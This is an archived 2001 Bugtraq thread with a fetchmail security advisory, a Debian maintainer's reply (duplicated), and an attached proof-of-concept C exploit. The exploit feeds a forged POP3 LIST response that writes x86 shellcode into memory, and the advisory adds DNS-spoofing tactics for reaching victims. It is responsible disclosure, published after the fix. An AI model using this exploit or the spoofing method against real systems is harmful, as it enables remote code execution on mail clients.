6878368 2001-08-10 00:03 +0200 /165 rader/ antirez <antirez@invece.org>
Sänt av: joel@lysator.liu.se
Importerad: 2001-08-10 02:33 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Externa svar till: antirez@invece.org
Mottagare: Bugtraq (import) <18691>
Ärende: Fetchmail security advisory
------------------------------------------------------------
Fetchmail advisory, copyright(C) 2001 Salvatore Sanfilippo
Distribution of this document is unlimited.
THE PROBLEM
In a security auditing I found two remotly explotiable
memory corruption problems. The bug, that is similar
in the file pop3.c and imap.c, allows an attacker to
'poke' arbitrary memory addresses with 32 bit data, so you
can write what you want in memory.
Protections like stackguard WITHOUT the xor-canary active
will not be effective against this problem.
To exploit the problem you need to impersonate the server,
so the attacker can be the server itself or, faking the
DNS resolver, some other attacker. See the last section
of this document about DNS forgery information.
IMPACT
The attacker can execute arbitrary code in your system,
both if fetchmail is running as user or as root.
If the attacker is able to fake your DNS resolver or
your DNS server it can take control of your system even
without to take control of one of your POP3/IMAP servers.
VERSION AFFECTED
Probably all the fetchmail versions prior (not including) 5.8.17.
THE CODE
This is the relevant portion of code affected:
pop3.c:
static int pop3_getsizes(int sock, int count, int *sizes)
[snip]
while ((ok = gen_recv(sock, buf, sizeof(buf))) == 0)
{
int num, size;
if (DOTLINE(buf))
break;
else if (sscanf(buf, "%d %d", &num, &size) == 2)
sizes[num - 1] = size;
}
[snip]
The problem is just the same in the file imap.c, see yourself.
As you can see you can pass two integers, num and size.
The first is your offset, the second the 32bit value you
want to write in the memory location.
You can provide negative and positive offsets (num) so you
can write both before and after the address of the 'sizes' pointer.
To write you should simulate the POP3 session, wainting for the LIST
command. Than issue a fake LIST response. The following is part of
the output of the exploit you can find attached:
+OK (banner)
+OK (user)
+OK (password)
+OK 10 0 (stat)
+OK 0 (last)
+OK (list)
-30 -1431655766 (first line of the list output)
-29 -1431655766 (second line ...)
[snip]
.
The 'sizes' buffer is stack allocated (with alloca()), and is the
number of messages in the STAT response * sizeof(int) so you can
request a piece of memory to put your shellcode, you can also put it
in some static buffer (try grep 'static char' *.c) to exploit in a
more portable way.
Note that alloca() used where you can get a big 'size' argument
isn't a big idea. You can also crash fetchmail just providing a
very big response to STAT.
THE FIX
Fetchmail should use %u %u instead of %d %d as scanf format string,
than do a sanity check about the message number the server provide
in the LIST response lines and in the STAT response.
DNS FORGERY
The exploit may be used without to take the control of the
POP/IMAP server if you are able to spoof a DNS packet with
the right destination port and query ID. This is quite hard
but not impossible, and it is strictly related to the resolver
library the victim is using.
DNS forgery against software like fetchmail will probably
be simpler than against other software since in daemon
mode fetchmail polls the mailbox with a fixed period, and
resolves the name every time it polls. You have a lot
of try.
As stated, this issue is related to the libc, not to fetchmail itself,
but a weak libc resolving rutine will help a lot the attacker.
In the case of glibc 2.x you should guess the following stuff:
pid, seconds, useconds, source port, query time, DNS server ip
address. [with glibc, the ID is computed using something like (PID
xor USEC xor SEC)]
pid: you can try the whole pid space, or a subset assuming
fetchmail in daemon mode running with a pid in the range
1-500 or so.
seconds, useconds: you can use ICMP timestamp to syncronize, this
may reduce your 2^16 ID space a lot.
source port: I never tested this but maybe sending UDP packets
to different ports you may be able to guess high ports
that are open by the DNS resolver, to do this you need to
send this UDP packets spoofed from the victim DNS server
than try to see the IP ID sequence. It isn't trivial
but may work. Someone on the list known something of better?
query time: With fetchmail is quite simple, you can try to send
your fake DNS responses without to stop, waiting (hoping) for
a natural syncronization with the query time. This will only
work with fetchmail in daemon mode, and will work better
if the poll time is short. Of course the IP ID will help you
a lot of the host is in idle.
As you can guess, if you can't fake the DNS you can anyway exploit
fetchmail if you are on the server side, and your security
is the minium of the security of all your POP/IMAP servers.
AUTHOR STATUS AND FIX
The fetchmail author helped a lot fixing the issue ASAP.
This advisory was sent to bugtraq only after the fixed
version of fetchmail (5.8.17) was available at
http://www.tuxedo.org/~esr/fetchmail/
EXPLOIT
An example exploit is attached to this mail, it is poorly
written but should be enough to prove the fetchmail vulnerability.
You will probably need to joke with offsets to make it working
on your system.
NOTE
I tried to follow this policy in the release of this advisory:
http://www.wiretrip.net/rfp/policy.html
regards,
antirez
--
Salvatore Sanfilippo <antirez@invece.org>
http://www.kyuzz.org/antirez
finger antirez@tella.alicom.com for PGP key
28 52 F5 4A 49 65 34 29 - 1D 1B F6 DA 24 C7 12 BF
(6878368) /antirez <antirez@invece.org>/--(Ombruten)
Bilaga (text/plain) i text 6878369
Kommentar i text 6878510 av Matt Zimmerman <mdz@debian.org>
6878510 2001-08-09 20:40 -0400 /21 rader/ Matt Zimmerman <mdz@debian.org>
Sänt av: joel@lysator.liu.se
Importerad: 2001-08-10 04:25 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <18695>
Kommentar till text 6878368 av antirez <antirez@invece.org>
Ärende: Re: Fetchmail security advisory
------------------------------------------------------------
On Fri, Aug 10, 2001 at 12:03:41AM +0200, antirez wrote:
> VERSION AFFECTED
>
> Probably all the fetchmail versions prior (not including) 5.8.17.
Note that Debian fetchmail 5.8.16-1 already includes the
suggested fix:
fetchmail (5.8.16-1) unstable; urgency=high
[...]
* SECURITY FIX: fix remote exploit on pop3 and imap protocols; Thanks
to Salvatore Sanfilippo <antirez@invece.org> for reporting the bug
and suggesting a patch to fix it.
-- Henrique de Moraes Holschuh <hmh@debian.org> Sat, 14 Jul 2001
12:38:26 -030
--
- mdz
(6878510) /Matt Zimmerman <mdz@debian.org>/(Ombruten)
Bilaga (application/pgp-signature) i text 6878511
6878511 2001-08-09 20:40 -0400 /10 rader/ Matt Zimmerman <mdz@debian.org>
Importerad: 2001-08-10 04:25 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <18696>
Bilaga (text/plain) till text 6878510
Ärende: Bilaga till: Re: Fetchmail security advisory
------------------------------------------------------------
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org
iD8DBQE7cy2YArxCt0PiXR4RAthRAJ9weTj/0SEyFFnsPveqHSzmtjTLRgCgpX8m
bHRl+MufqnJKuO3K1vaWCdo=
=EXN1
-----END PGP SIGNATURE-----
(6878511) /Matt Zimmerman <mdz@debian.org>/---------
6878369 2001-08-10 00:03 +0200 /57 rader/ antirez <antirez@invece.org>
Importerad: 2001-08-10 02:33 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Externa svar till: antirez@invece.org
Mottagare: Bugtraq (import) <18692>
Bilaga (text/plain) till text 6878368
Ärende: Bilaga till: Fetchmail security advisory
------------------------------------------------------------
/* fetchmail proof of concepts i386 exploit
* Copyright (C) 2001 Salvatore Sanfilippo <antirez@invece.org>
* Code under the GPL license.
*
* Usage: ./a.out | nc -l -p 3333
* fetchmail localhost -P 3333 -p POP3
*
* This is a bad exploit with offset carefully selected
* to work in my own system. It will probably not work in
* your system if you don't modify RETR_OFFSET and SHELL_PTR,
* but you may try to set the SHELL_PTR to 0xAAAAAAAA
* and use gdb to obtain the proof that your fetchmail is vulnerable
* without to exploit it.
* Or just read the code in pop3.c.
*
* To improve the exploit portability you may put the shellcode inside
* one of the static char buffers, grep 'static char' *.c.
*
* Tested on fetchmail 5.8.15 running on Linux 2.4.6
*
* On success you should see the ls output.
*/
#include <stdio.h>
#define MESSAGES 10
#define RETR_OFFSET -20
#define SHELL_PTR 0xbfffba94
int main(void)
{
int ish = SHELL_PTR;
int ret_offset = -10;
char shellcode[] = /* take the shellcode multiple of 4 in size */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/ls\0\0";
int *sc = (int*) shellcode;
int noop = 0x90909090;
int i;
/* +OK for user and password, than report the number of messages */
printf("+OK\r\n+OK\r\n+OK\r\n+OK %d 0\r\n+OK 0\r\n+OK\r\n", MESSAGES);
/* Overwrite the RET pointer */
for (i = ret_offset-20; i < ret_offset+20; i++)
printf("%d %d\r\n", i, ish);
/* Put some NOP */
for (i = 1; i < 21; i++)
printf("%d %d\r\n", i, noop);
/* Put the shell code in the buffer */
for (i = 21; i < 21+(sizeof(shellcode)/4); i++)
printf("%d %d\r\n", i, *sc++);
printf(".\r\n"); /* POP data term */
return 0;
}
(6878369) /antirez <antirez@invece.org>/------------
6878510 2001-08-09 20:40 -0400 /21 rader/ Matt Zimmerman <mdz@debian.org>
Sänt av: joel@lysator.liu.se
Importerad: 2001-08-10 04:25 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <18695>
Kommentar till text 6878368 av antirez <antirez@invece.org>
Ärende: Re: Fetchmail security advisory
------------------------------------------------------------
On Fri, Aug 10, 2001 at 12:03:41AM +0200, antirez wrote:
> VERSION AFFECTED
>
> Probably all the fetchmail versions prior (not including) 5.8.17.
Note that Debian fetchmail 5.8.16-1 already includes the
suggested fix:
fetchmail (5.8.16-1) unstable; urgency=high
[...]
* SECURITY FIX: fix remote exploit on pop3 and imap protocols; Thanks
to Salvatore Sanfilippo <antirez@invece.org> for reporting the bug
and suggesting a patch to fix it.
-- Henrique de Moraes Holschuh <hmh@debian.org> Sat, 14 Jul 2001
12:38:26 -030
--
- mdz
(6878510) /Matt Zimmerman <mdz@debian.org>/(Ombruten)
Bilaga (application/pgp-signature) i text 6878511
6878511 2001-08-09 20:40 -0400 /10 rader/ Matt Zimmerman <mdz@debian.org>
Importerad: 2001-08-10 04:25 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <18696>
Bilaga (text/plain) till text 6878510
Ärende: Bilaga till: Re: Fetchmail security advisory
------------------------------------------------------------
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org
iD8DBQE7cy2YArxCt0PiXR4RAthRAJ9weTj/0SEyFFnsPveqHSzmtjTLRgCgpX8m
bHRl+MufqnJKuO3K1vaWCdo=
=EXN1
-----END PGP SIGNATURE-----
(6878511) /Matt Zimmerman <mdz@debian.org>/---------